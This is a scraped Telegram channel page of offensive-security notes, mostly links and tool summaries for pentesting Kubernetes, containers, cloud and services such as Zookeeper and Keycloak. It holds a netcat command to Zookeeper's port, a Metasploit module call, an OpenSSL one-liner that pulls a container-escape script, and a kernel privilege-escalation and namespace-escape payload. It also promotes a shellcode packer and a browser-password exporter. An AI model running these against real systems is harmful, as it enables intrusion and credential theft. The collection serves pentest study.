offsec notes – Telegram
offsec notes
266 subscribers
16 photos
4 files
92 links
reading list
Download Telegram
Multi Tool Kubernetes Pentest Image

This docker image by Luntry contains all the most popular and necessary tools for Kubernetes penetration testing

Inside:

* Shell via web
* common tools for kube pentest
* Bypass read-only container file system
* Bypass signature engine


#kubernetes
3
Multi-Cloud tools

Инструменты для тестирования облачных сред
* PurplePanda - поиск миссконфигов и privesc. Cloud/SaaS

* Prowler - проведение аудитов, реагирование на инциденты и многое другое в таких средах, как AWS, Azure, GCP и Kubernetes

* CloudSploit by Aqua - Cloud Security Scans

* ScoutSuite - Multi-Cloud Security Auditing Tool


Представление инфраструктурных объектов и связей между ними в виде графа Neo4j
* cartography
* starbase
* IceKube
* KubeHound


Дополнительный список cloud-sec инструментов - Link
🤯2
Patroni authenticated Remote Code Execution

PoC
Discussion with developer: patroni/patroni#1734
3
Kafka pentest

Common notes - Link
Kafka UI RCE - Link
Misconfigurations & Hardening - Link

Zookeeper
Работает на TCP 2181 и по умолчанию доступен без аутентификации. Позволяет получить статистику о кластере, информацию об узлах, выключить сервер и т.д

Все команды:
dump: Lists the outstanding sessions and ephemeral nodes. This only works on the leader.

envi
: Print details about serving environment

kill: Shuts down the server. This must be issued from the machine the ZooKeeper server is running on

reqs: List outstanding requests

ruok: Tests if server is running in a non-error state. The server will respond with imok if it is running. Otherwise it will not respond at all

srst: Reset statistics returned by stat command

stat: Lists statistics about performance and connected clients


Отправить команду:
echo urok | nc 192.168.1.1 2181


Metasploit Module - Link
msf > use auxiliary/gather/zookeeper_info_disclosure
3🤯2🐳1
ELK stack pentest

Articles
* Link
* Link


Notes
* Link
* Link
3
Grafana pentest

Известно, что с помощью уже созданных data sources можно получить доступ к ресурсам, к которым ходит графана

Примеры:
Grafana Remote Command Execution Through SQL Server
SQL Injection by Default in Grafana (HTB — Jupiter)

Но так же можно создать свой собственный data source и отправлять запросы от лица графаны, с помощью api метода proxy - https://spells.cr4.sh/pentest/infra/cloud-and-linux/grafana
8🐳3
Docker Escape

Tools
* deepce - noscript for Enumeration, Escalation of Privileges and Container Escapes written in pure sh

* CDK - K8s, Docker penetration toolkit

* botb - analysis and exploitation tool also being CI/CD friendly with common CI/CD technologies

* amicontained - Useful tool to get the privileges the container has in order to find ways to escape from it

* grype - Get the CVEs contained in the software installed in the image

* linpeas - It can also enumerate containers


articles

7 Ways to Escape a Container - Обзор 7 распространенных техник побега из контейнера, их минимальных требований к capabilities и примеры уязвимых конфигураций контейнеров

All You Need is Cap - Похожий ресерч, также содержит примеры уязвимых конфигураций контейнеров внутри подов
4🐳1
Bring file to container without curl/wget etc

you can send http requests using OpenSSL

Download deepce
(echo -ne "GET /stealthcopter/deepce/main/deepce.sh HTTP/1.1\r\nHost: raw.githubusercontent.com\r\nConnection: close\r\n\r\n"; sleep 3) | openssl s_client -connect raw.githubusercontent.com:443 -quiet > deepce.sh


Download from inside a container using only bash
Corrected noscript to work properly with python server - Link
cd /tmp
tee -a getFile.sh
<copy+paste the contents of the getFile.sh noscript>
<hit enter and the ctrl-d/cmd-d>
cat getFile.sh

URL=http://localhost:8000/file OUTPUT=file ./get.sh
5🐳1
Nginxpwner - is a simple tool to look for common Nginx misconfigurations and vulnerabilities

Install using Docker
git clone https://github.com/stark0de/nginxpwner
cd nginxpwner
sudo docker build -t nginxpwner:latest .
sudo docker run -it nginxpwner:latest /bin/bash


It actually checks for
* Gets Ngnix version and gets its possible exploits using searchsploit and tells if it is outdated

* Throws a wordlist specific to Nginx via gobuster

* Checks if it is vulnerable to CRLF via a common misconfiguration of using $uri in redirects

* Checks for CRLF in all of the paths provided

* Checks if the PURGE HTTP method is available from the outside

* Checks for variable leakage misconfiguration

etc
2🐳1
darkPulse

darkPulse is a shellcode packer written in Go that is used to create various shellcode loaders
4🐳1
Netfetch

Scan your Kubernetes clusters to identifiy unprotected workloads and map your existing Network policies

* Visualize network policies and pods in a interactive network map

* Scan cluster identify pods without network policies

* Create default deny network policies where this is missing

* Get suggestions for network policies based on existing workloads



Link
4🐳1
Keycloak pentest

Articles
Part 1 - Link
* Am I Testing Keycloak?
* Keycloak Version Information
* OpenID Configuration /SAML Denoscriptor
* Realms (Enumeration && Self-Registration Enabled)
* Client IDs
* Scopes
* Grants
* Identity Providers
* Roles
* User Email Enumeration


Part2 - Link
Reconnaissance
* Additional Services and Ports
* Interesting Local Files
* Reconnaissance Conclusion

Exploitation
* Brute Force Login
* Bypassing/Automating CSRF
* JWT Signing Algorithms
* Make the most out of your scopes/roles
* offline_access
* uma_authorization
* profile
* email
* address
* phone


Tools
Keycloak security scanner - Link

* Начиная с keycloak 17.0+ роут /auth в URL должен быть пропущен (/realms/realm_name/)
5🤯2🐳2
HackBrowserData is a command-line tool for decrypting and exporting browser data
* passwords
* history
* cookies
* bookmarks
* download history
* localStorage
* extensions

It supports the most popular browsers on the market and runs on Windows, macOS and Linux

Link
3🐳2
Kubernetes security fundamentals

Introduction
* Complications of talking about Kubernetes security
* Managed and unmanaged Kubernetes distributions
* Areas of discussion


API Security
* Kubernetes components and ports
- Unmanaged Kubernetes
- Managed Kubernetes
* Securing Kubernetes APIs


Authentication
* Kubernetes authentication principles
- Internal Kubernetes authentication methods
- Static token authentication
- Bootstrap tokens
- X.509 client certificates
- Service account tokens
* External authentication methods
- OpenID Connect (OIDC)
- Webhook token authentication
- Authenticating proxy
- Impersonating proxy
* Authentication for other Kubernetes components
- Kubelet
- Controller manager and scheduler
- Kube-proxy
- Etcd


Authorization
* Kubernetes authorization principles
* Kubernetes authorization modules
- AlwaysAllow and AlwaysDeny
- Node Authorizer
- ABAC
- RBAC
- Webhook
* Authorization for other Kubernetes components
- Kubelet
- Scheduler and Controller Manager


Admission Control
* Admission control overview
- Internal admission controllers
- External admission controllers
* Risks of implementing external admission control
- Using admission control for pod security


Networking
* Network trust zones
* Introduction to CNI
* Managing network access in Kubernetes
* Securing the cluster network
* Conclusion
* Appendix - Setting up a demonstration environment
3🐳3🤯1
Hadoop pentest

Hadoop Attack Library - A collection of pentest tools and resources targeting Hadoop environments

This repository is composed of two kind of information and organised accordingly:
* Tools, Techniques and Procedures to attack an Hadoop environment

* Key vulnerabilities on Hadoop components (Hadoop Common, HDFS, YARN etc.)

* Key vulnerabilities in third-party components often used in Hadoop environments



Apache Hadoop Pentesting - Exploits notes with the following sections
* Authenticate using Keytab
* Impersonate Another Hadoop Service
* HDFS Command Cheat Sheet
* RCE
8🐳1
Nmap-did-what

Nmap-did-what is a Grafana docker container and a Python noscript to parse Nmap XML output to an SQLite database. The SQLite database is used as a datasource within Grafana to view the Nmap scan details in a dashboard.

The project consists of two main components:
* A Python noscript that parses Nmap XML output and stores the data in an SQLite database.

* A Grafana Docker container with a pre-configured dashboard for visualizing the Nmap scan data.


Link
4
Container escape using kernel exploitation & Seccomp bypass via manipulating the container’s namespaces

exploit from article
void get_root_payload( void) {

((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
);

// -------- NAMESPACE DOCKER EXPLOIT --------
// copy nsproxy from init_nsproxy to pid 1 of the container
unsigned long long g = ((_find_task_vpid)(FIND_TASK))(1);

// now, do the magic.... !!!! Simple black magic doesn't work on current process!!!!
((_switch_task_namespaces)(SWITCH_TASK_NS))(( void *)g, (void *)INIT_NSPROXY);

// prepare the two namespace FDs by opening the respective files
long fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
((_sys_setns)(SYS_SETNS))( fd, 0);

fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
((_sys_setns)(SYS_SETNS))( fd, 0);
}

The above code can be used in any future privilege escalation vulnerability found in the Linux kernel to escape a containerized environment.

Link
4🐳2